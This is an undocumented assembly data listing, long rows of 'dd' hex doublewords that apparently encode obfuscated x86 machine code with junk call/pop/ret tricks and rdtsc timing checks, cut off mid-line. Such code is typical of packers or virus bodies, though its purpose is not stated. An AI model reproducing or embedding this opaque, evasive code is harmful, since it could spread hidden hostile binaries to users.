dd 1F0DB533h, 83610607h, 7044DBDh, 840F0006h, 5D2h, 2135B58Bh dd 0BF660607h, 8D8DDD83h, 6071F65h, 1D798589h, 0BD8B0607h dd 6071FD1h, 7C8401C7h, 6A44B2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 662EB3C3h, 81130BBFh dd 99CFCB01h, 53006A14h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0DE717391h, 0DF81A193h, 436D5F6Dh dd 0B871BE66h, 340441C7h, 8BCE706Bh, 44181F3h, 31D6D710h dd 0BE9h, 330E500h, 0D22F725Bh, 37DB2776h, 8DF5006Ah, 71F6585h dd 0BE509006h, 5F91EAF1h, 0FE890h, 45190000h, 0A165787Bh dd 0D94C90EBh, 745243CAh, 95FF5EB3h, 607321Dh, 5ECE8166h dd 0CD9D89B6h, 8D06072Fh, 71F658Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 35467DAh, 0A54E331Fh dd 7E9h, 0D3259500h, 5307B92Eh, 1C7h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 74FCA1C3h, 12F1B58Bh, 41C70607h, 4, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 4ACD1B9Bh, 3BE29021h, 3160F7A7h, 726F995h, 258D8B06h dd 61060718h, 840FC00Bh, 4Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 5C35343h, 0F83FEEFBh, 8BB3878Bh dd 71A0DB5h, 60CEBF06h, 8D8D6FDCh, 6074DB4h, 852DDE81h dd 5B815BCh, 9000000h, 72E959Dh, 0FABF0F06h, 0BF0FE1FFh dd 658D8DF7h, 8B06071Fh, 705A9BDh, 5FF55006h, 727C01C7h dd 6A44AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0DF8562C3h, 0CB01810Bh, 6A1499CFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0C775C355h, 753C0441h, 6ACE78h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 8BAC15C3h, 5E453A5Bh dd 31527DC9h, 71D799Dh, 41815F06h, 0D6D71004h, 8ABF5731h dd 5E141D7Ch, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 688662C3h, 8589D620h, 6070995h dd 1F65858Dh, 37BE0607h, 0BF522634h, 7DC37E9Ch, 50525050h dd 0FF88B52h, 5A5E5331h, 66310F58h, 585AFB8Bh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 6B41C350h, 3D1FADA2h, 60903ECEh, 0C31AE181h dd 55B75A9Ch, 1D95FF61h, 8D060732h, 71F658Dh, 3900BE06h dd 1C74948h, 0 dd 12E9h, 190D2A00h, 1F4FE1A6h, 0E60716AFh, 0D837C39Eh dd 0C70CF444h, 441h, 0F38B0000h, 840FC00Bh, 82h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F4C35242h, 4DB48D8Dh dd 0B5010607h, 6071BD9h, 5B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 5188C62Ah dd 94F0EBBEh, 8D295E41h, 6072949h, 6AE1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0E37785C3h dd 9A7BEF2Bh, 0EA84C681h, 8D8D1317h, 6071F65h, 0AE8h, 81897200h dd 9BDDEB3h, 0FBB3CE8h, 58Ch, 0CE816600h, 815E23BCh, 0FD472DD6h dd 0A501C749h, 6A54CA95h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0DBBCC356h, 450B3DCAh dd 8E0FDF45h, 5, 0F830C7BEh, 0B70F6001h, 5BCE81F1h, 611933F9h dd 0CFCB0181h, 6A1499h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B70F18C3h, 441C7FBh, 0CE5F5969h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 64C35747h dd 0C6ACDA5Eh, 5D3937AAh, 118D0Fh, 0BE80000h, 92000000h dd 6AC96550h, 99516088h, 815F704Ch, 0D7100441h, 6A31D6h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C5C35646h dd 2B96992Bh, 71E49BDh, 65858D06h, 0F06071Fh, 28Dh, 50FB8B00h dd 489FA8Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0D03891B6h, 0A182437Ah, 0BE66392Ah dd 95FF9237h, 607321Dh, 2319BD8Bh, 8D8D0607h, 6071F65h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DAC35646h dd 2C25843Eh, 20EDBD8Bh, 0BD010607h, 60718B1h, 23D8DE81h dd 1C757F8h, 0 dd 41C7F78Bh, 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0EB1710C5h, 0A8AF51FEh dd 0FE9FAh, 0E3600000h, 0BCB975A2h, 833D92C5h, 5DE0FB87h dd 0D9BD0386h, 1060721h, 72E558Dh, 0FC00B06h, 6D84h, 0AE900h dd 0BB0F0000h, 81227403h, 0A54F4796h, 4DB48D8Dh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B9949C3h, 71015B5h, 69B58B06h, 0B806071Dh, 5, 43389FBEh dd 0DE974h, 0DAE30000h, 0A4687AFFh, 84D49063h, 0FFC5AB4Bh dd 5E8E1h, 88830000h, 89D23303h, 70C7D95h, 0CA035E06h dd 0FFF253E9h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 7830F45h, 0FC000000h dd 1C59B58Bh, 0E6810607h, 5C3A260Bh, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 810964C3h dd 0BA000833h, 5783AAEAh, 2A89B589h, 0EB5E0607h, 4, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0D3FBB850h, 89EE7D24h, 6A5E75h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 745830C3h, 10E9h, 0D1BDB00h dd 0A84D1880h, 959CFDA8h, 4F1A31CFh, 19858DBEh, 6606071Fh dd 5B93CE81h, 15C1B58Bh, 50900607h, 5EF08B66h, 38B0F50h dd 66000000h, 6A90F28Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 2970C350h, 1B891C8Ah dd 3BBE660Bh, 6A006AC8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0ED6CC351h, 0D9B58B11h dd 0F06072Ah, 18Eh, 6AF900h, 56858DF8h, 0E9060AE3h, 0Dh dd 4966169Ch, 59A42E84h, 7AC70D40h, 5C08360h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 8AC35747h, 30DD8529h dd 0BE900607h, 5A5899F6h, 0F525050h, 8Dh, 66310F00h, 585AF28Bh dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0BE98Eh, 0C7D70000h, 0F2D38964h, 34426D66h dd 6A006A88h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 3152C353h, 708D9B5h, 0C310BE06h dd 6A2E54h, 81F6BF0Fh, 0E52D22DEh, 0CD95FF53h, 6A06071Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 45CBC353h, 0A5B79D8Dh, 9D89060Ah, 60732EDh dd 6AD3FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 67C11DC3h, 8B66D105h, 0F38B66F7h, 0FA585FFh dd 66600607h, 80E588B9h, 0E96146C5h, 975h, 0E8h, 0ED815D00h dd 60AE360h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 27C35545h, 15B58B80h, 8106071Ch, 72CDDBDh, 7D006h dd 2B860F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 294AC355h, 2B3DB589h dd 9D8B0607h, 607109Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 1DC35242h, 325599F8h, 0F3D1932h, 38Eh dd 0F18B6600h, 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 311D4EC3h, 732E99Dh dd 0FDB0B06h, 6285h, 50DE8100h, 83679770h, 0AE168BDh, 840F0006h dd 2Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 4AC35646h, 7E11C605h, 85B58B69h, 0E906070Bh, 33h, 0E16885C7h dd 1060Ah, 0BF0F0000h, 31B58BF3h, 0E9060721h, 1Bh, 0B90253BEh dd 55B58B72h, 0C706072Fh, 0AE16885h, 6, 95B58B00h, 8D06072Fh dd 7109D9Dh, 8AF96006h, 238161EFh, 0FFFFFEFFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0AFC35747h, 70A636EBh dd 8C662965h, 0B96660DBh, 0F661DF04h, 840F04C3h, 5Fh, 335D95FFh dd 13E80607h, 0DB000000h, 401B705Ch, 0A2AA8BFh, 55F37F80h dd 47740614h, 8B66740Dh, 66505EF7h, 897B8CBEh, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 93513AC3h, 6BF77622h, 6035B2C8h, 85958B60h, 81060726h dd 8D559EAh, 0E9616138h, 38Ch, 0DE9h, 0C8927E00h, 637D83D3h dd 0A93B9CFBh, 0B0D46Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0A4C35646h, 0FBBEF3B3h, 8B498D24h, 721A9B5h dd 0E470E606h, 50006A71h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 96B73A9Dh, 7FE8B26Dh dd 55B529ABh, 0F06070Ch, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 1FC1E5C3h, 832AD321h dd 0BA2A074Ah, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 4DC35343h, 0E8C1C38Bh, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 6CD7F5A1h dd 0DE6B3D6Ah, 810FF765h, 9, 4DBD2360h, 0F806072Dh, 0E2F76661h dd 6AD82BF5h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0D725C352h, 8B0B3BEh, 9B58B09h dd 93060711h, 870Fh, 50500000h, 51310F52h, 48287DBEh, 585A5E4Ch dd 0C6816693h, 0B5FFB656h, 6072CDDh, 320195FFh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 27B569C3h, 23BE5750h, 5E6E4E24h, 950900B0h, 6071E49h dd 8D8970E6h, 6070421h, 1F34BE66h, 0B58B71E4h, 607006Dh dd 830F613Ch, 200h, 0DE9h, 6249DC00h, 5EDF72ABh, 0F2CF00E3h dd 9529EC2Ah, 6072601h, 6AD8B60Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 2B0CC357h dd 0D60993A6h, 11E9h, 6D95AA00h, 9D0C0DEFh, 0E1BEC0F2h dd 7654ECF7h, 6BA6D61h, 89000000h, 7269985h, 6AC38B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 2FEAC351h, 43E0213Ah, 10E8h, 0C2625600h dd 0BED7B731h, 321B8A4Eh, 5B7E73C8h, 51BD896Fh, 5E060716h dd 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 81FDC357h, 0CBE68166h, 0E2F76653h dd 8840Fh, 81560000h, 3D701AEEh, 0D82B5E0Ch, 238CBE66h dd 0FD82B58h, 11F88h, 7B900h, 0B58B0000h, 60716B9h, 0E900C183h dd 5, 4DA1EFF1h, 0FD93BB7h, 0FF86h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0C54D275h dd 166DEBAh, 1A08CE81h, 820F2971h, 16h, 0EE8h, 9723A000h dd 59FAF1D5h, 47AF34Eh, 8BCF4877h, 8C665EF0h, 57006AD9h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 4C1F692h, 8A840Fh, 81660000h, 0FFDA4FD6h, 7335D95h dd 6A5B06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 956C98C3h, 0EE9DFh, 0AB6D0000h, 92720457h dd 309C82F4h, 5E02E430h, 0B50BC32Bh, 6070A51h, 8343Dh dd 39860F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0F67C353h, 3DFC382Dh dd 94ED015Dh, 6A4421BEh, 12E950h, 0BE660000h, 0B58B8342h dd 607154Dh, 8589C08Bh, 607059Dh, 0D88BC38Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CAC35141h, 106D5CA6h dd 0F7903C0Fh, 182185C7h, 0CD5B0607h, 800F527Eh, 3, 0E8F0B70Fh dd 7, 2A1CBD03h, 5E573356h, 0B533C08Bh, 60705A9h, 2CDDBD81h dd 7D00607h, 850F0000h, 6Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 2CC35747h, 0FD3DDC8Ch, 0DD85FF1Fh dd 6A06072Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 6AEC355h, 0C95546FEh, 0C1DD127Ah dd 0C19B58Bh, 13E90607h, 37000000h, 85C2AECDh, 0CA456E7Fh dd 0EC254467h, 56C63062h, 0B5FF8F47h, 6072CDDh, 3800Fh dd 0B70F0000h, 195FFF1h, 89060732h, 71D89BDh, 0D88B9006h dd 32A18D89h, 0BD830607h, 60732B9h, 4F840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 5296C352h, 6425709h, 0F5B58B1Ah, 0E9060718h dd 2ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0EBC35141h, 481B589h, 0DF8C0607h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 9BC35040h, 0ED25A749h dd 3E769B30h, 83E68188h, 0E96DF449h, 5, 0F3AB695Bh, 0C7F766C1h dd 850F0004h, 249h, 6AFF2Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 4CFA02C3h, 0C558529h dd 0C6810607h, 66E8B822h, 0EC3B9D8Dh, 6A060Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 60AAC9C3h, 0F07685A3h, 1B58B47h, 50060733h, 6A241C89h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 815FC356h, 27F27AA9h, 9FE1E8BEh, 35FF6464h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h dd 534A3036h, 2249B58Bh, 645E0607h, 2589h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 1102C9C3h, 8BC18BA2h, 8891BEC4h, 1CD44ECh, 6A00EBh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 852900C3h, 6072675h, 58F64h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 67C0C357h dd 8FC8CE81h, 0C4834AE4h, 0F1B58904h, 29060717h, 72689BDh dd 0FC00B06h, 10084h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0E95F1169h, 8DF38B66h dd 74DB4BDh, 0FE13BE06h, 5B82709h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0E5FBC351h, 0B5BE2C33h, 0E88B3BD6h, 8, 68050C95h, 55BBE9B9h dd 5E9h, 0A56B1200h, 0FF5E671Bh, 0EE9E7h, 0A10B0000h, 2B14E851h dd 30176FEEh, 0D69FE965h, 168F0Fh, 11E90000h, 71000000h dd 395FA191h, 82D5FF5h, 1D56ACCAh, 363B73F3h, 245C8B57h dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h dd 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 6A79C3h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 897934C3h dd 72AA1BDh, 0E9CA2B06h, 0FFFFF6B8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 56C35242h, 0B70FF996h, 75BD89F7h dd 89060729h, 70609B5h, 6AC18B06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C568C356h dd 9E93076h, 7000000h, 0B157CEB4h, 0F3EA3DE3h, 4EBh, 81660000h dd 8DB506DFh, 71F1985h, 75852906h, 5006072Fh, 16820Fh dd 11E90000h, 1A000000h, 759E000Ch, 390474CDh, 0AE246E5Ch dd 72BC90BBh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 7E65C355h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 4116D1C3h, 8FCE5C99h, 66006A3Bh, 8B755EBEh, 70611BDh dd 13858D06h, 6A060AEFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 47CEC355h, 5EF951F7h dd 6A1BD8Bh, 0C0830607h, 8D895205h, 6070FC9h, 5250905Eh dd 8E8310Fh, 0CF000000h, 892D06AFh, 8BDF13CAh, 585A5EF1h dd 50525050h, 0DE852h, 0A5130000h, 672B9BF3h, 0F00E3DDFh dd 5E0162CFh, 0FA8B310Fh, 310F585Ah, 0CC02BF66h, 0E890585Ah dd 0Eh, 4DC455E3h, 0C232C59Ch, 0E85B8161h, 6A5EEB8Eh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 5B2631C3h, 0D1F9E977h, 0A1BD8B02h, 6A060716h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 28BE66B2h, 259D89D1h, 0FF060704h, 71BCD95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 74DA96EAh, 8B7636BBh, 71EADB5h, 820F06h, 8D000000h dd 0AA5B79Dh, 359D8906h, 60060721h, 16C99D8Bh, 95890607h dd 6070821h, 6AD3FF61h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 1306C355h, 0DEFDA25Bh dd 0B36335C7h, 0FA585FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 71B0E1C3h, 0BD5F059Dh dd 0E9FA0140h, 0Ch, 53BCFF0Ch, 0B82E1046h, 2B6499B9h, 812E9h dd 0E800h, 815D0000h, 0AEF1DEDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0CB6B3842h dd 678D4911h, 0DE8F841h, 0E1000000h, 3AC915D9h, 0B6C89F3Bh dd 5E2F8E64h, 815EFB8Bh, 72CDDBDh, 7D006h, 0FA860F00h dd 8B000000h, 259D8BF3h, 6A060731h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1CFCC356h dd 0E381FCh, 0B000001h, 7F850FDBh, 8B000000h, 71A15BDh dd 1BD8306h, 60AEDh, 3B840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CDD0A1C3h dd 6810Fh, 8D890000h, 60706A9h, 1EE58589h, 46E90607h, 8B000000h dd 708D5B5h, 185C706h, 1060AEDh, 8B000000h, 7317DBDh, 2BE906h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 85C741C3h, 60AED01h, 0 dd 0DCCF8166h, 259D8DA2h, 0BE060731h, 5B6D640Fh, 0FEFF2381h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 2DDBF5C3h, 9E4244Ch, 71F49BDh, 0DB8C6606h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 91C35747h dd 55FFBBABh, 0E169E1F8h, 4EBE66A8h, 4C3F65Dh, 50840Fh dd 0B5010000h, 60708F5h, 335D95FFh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF5841C3h dd 895FD20Eh, 72D658Dh, 50535006h, 8E0F52h, 0F000000h dd 0C37BE31h, 585A5134h, 2404895Fh, 17C99589h, 53E90607h dd 0E9000004h, 6, 2053361Eh, 0B04F8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 9EC35141h, 0DF8B1069h, 2BFAFBB1h dd 6E5BE52h, 0E65F4CFFh, 55006A70h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 9DE4914Ah, 222DA9DAh dd 0A4BE2780h, 0E44DD109h, 51006A71h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D39078E0h dd 658589EBh, 0F060712h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 6CEA4CC3h, 0FE80Fh, 75D30000h dd 156357E0h, 4DF05C5Bh, 55C02F10h, 0BDB58B23h, 5E060722h dd 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BD89F09Fh, 6072D3Dh, 1800F60h, 0F5000000h dd 0AE9h, 76C34F00h, 3FAADE96h, 61E7BD44h, 8BF08B66h, 56006AC3h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 884C3E5h, 5E7F353Bh, 101DB52Bh, 0E8C10607h, 0B1B50B04h dd 3060718h, 71099B5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 81C35242h, 1185290Dh, 8B060730h dd 73089BDh, 89D82B06h, 71B69BDh, 66529306h, 505FFB8Bh dd 91EBBA60h, 5E976D9h, 0E4000000h, 8D40D9B2h, 0B5FF9361h dd 6072CDDh, 0CBCE17BEh, 195FF70h, 6A060732h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 4677C355h, 0A788B74Ch, 0FE6E93Ah, 588h, 284ABF00h, 952940FAh dd 607221Dh, 958900B0h, 6071021h, 6A70E6h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9C9901C3h dd 958B6051h, 6070FD9h, 0E461C68Bh, 0BD8B6071h, 6071DA9h dd 1695958Bh, 3C610607h, 2F830F61h, 0BE000002h, 72CEEA4Fh dd 488EC781h, 0B60F5A71h, 6BAF9D8h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 5D72C350h, 0F0BBCE90h, 42BD41D2h, 6AC38Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816663C3h dd 0E9C227CEh, 14h, 4A80CF7Eh, 0A0D95206h, 0F1D59723h dd 0F34E59FAh, 4877047Ah, 6604E8C1h, 6AE2F7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 8510C3C3h dd 51D82B85h, 585FFB8Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0B8C35545h, 0AEE5BC59h, 0BEAFF76Ah, 880FD82Bh dd 162h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0CCC35747h, 7B9E667h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A30EC356h dd 66CAD25Bh, 0C183F88Bh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 3BFB8BE8h dd 0F3860FD9h, 89000000h, 708D5BDh, 0D98C6606h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 9DC35040h, 0ADBFDECEh dd 0F662345Dh, 840F04C1h, 0ADh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0ECC35747h, 335D95FFh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F5879BC3h, 2D95895Bh, 2B060718h, 8343DC3h, 860F0000h dd 59h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 0BAC35646h, 7F6A66E9h, 0F38B66BDh, 41E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 2C44D062h, 77507439h, 0D2D781C4h, 8B30711Ah, 718A1BDh dd 60C08B06h, 860F60h, 61000000h, 0CD98C2BAh, 0C38B611Dh dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 87F8FC3h, 0DE920CACh, 0AEDEBF66h, 109D85C7h dd 553F0607h, 6A78FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 99442BC3h, 0C08B88B9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A3C35343h, 0F4982FF8h dd 0C07EBF30h, 0BD815E79h, 6072CDDh, 7D0h, 18850Fh, 0BD8B0000h dd 6071D3Dh, 33018589h, 85FF0607h, 6072CDDh, 31218589h dd 0B5FF0607h, 6072CDDh, 0FFF0BF0Fh, 7320195h, 89BD2906h dd 90060717h, 6B9B58Bh, 8D890607h, 6070085h, 8F58589h dd 8D0F0607h, 6, 1FE9B58Bh, 0B5290607h, 6071CEDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DC35545h, 0A0CCF7C1h dd 0DE9C75Ch, 42000000h, 34AD49F1h, 7D47248Dh, 9FED1A9Fh dd 0AE8F9h, 0C97C0000h, 0BA73C413h, 73B021Bh, 1C29BD23h dd 0B5F0607h, 71C7DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 66227B17h, 8589FE8Bh dd 6070C61h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 15C35747h, 3ABE665Dh, 1890F77h, 0F8000000h, 1A59BD8Bh dd 8B660607h, 14E8FBh, 0FB530000h, 0BBA8262Ch, 0EB2D285Ah dd 0B3F12C3Ch, 0B21E254Eh, 37BF573Bh, 5E6069B9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 46C35646h, 7BC77486h dd 35B58B72h, 81060707h, 852A1EEFh, 0F7FBE96Bh, 0FE8BFFFFh dd 30118589h, 51BE0607h, 8B237DDEh, 52006AC1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0AC2D3B60h dd 0FE9C3h, 0FAFF0000h, 42712F27h, 0A351AA10h, 845DBE04h dd 4EB72h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 618FC350h, 559D8984h, 0E9060704h dd 0Dh, 7175EAA7h, 5D79DCA8h, 0DAB92B25h, 56006A0Dh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 8854BE3Dh, 0DE9A2BAh, 42000000h, 0E5063731h, 55F710h dd 97C62341h, 1F19858Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 9BD300C3h, 0E87AE1CBh dd 14h, 818CFF9Ch, 6434DED8h, 80E9FC24h, 0A0C692E4h, 90395096h dd 0C599D89h, 0E85F0607h, 13h, 0B8F40002h, 3DBA858Fh, 0F024283Bh dd 5B5C7405h dd 6697A265h, 5E73E9BFh, 89F78B50h, 0B5892404h, 6072001h dd 0B58B006Ah, 6072D11h, 8166006Ah, 8D68DDEEh, 0AF95285h dd 0D7816606h, 0C08391A9h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0EA95A952h dd 0F9A6809Bh, 0FE950h, 0AAAB0000h, 86BA24FAh, 83258570h dd 722F926Fh, 2404899Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 1FC35141h, 6AF18B66h, 6A006A00h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 759EC351h, 390474CDh, 2B246E5Ch, 729ADBDh, 0CD95FF06h dd 6A06071Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0EAD4C357h, 811565A4h, 9DE0CCE7h dd 25B5011Dh, 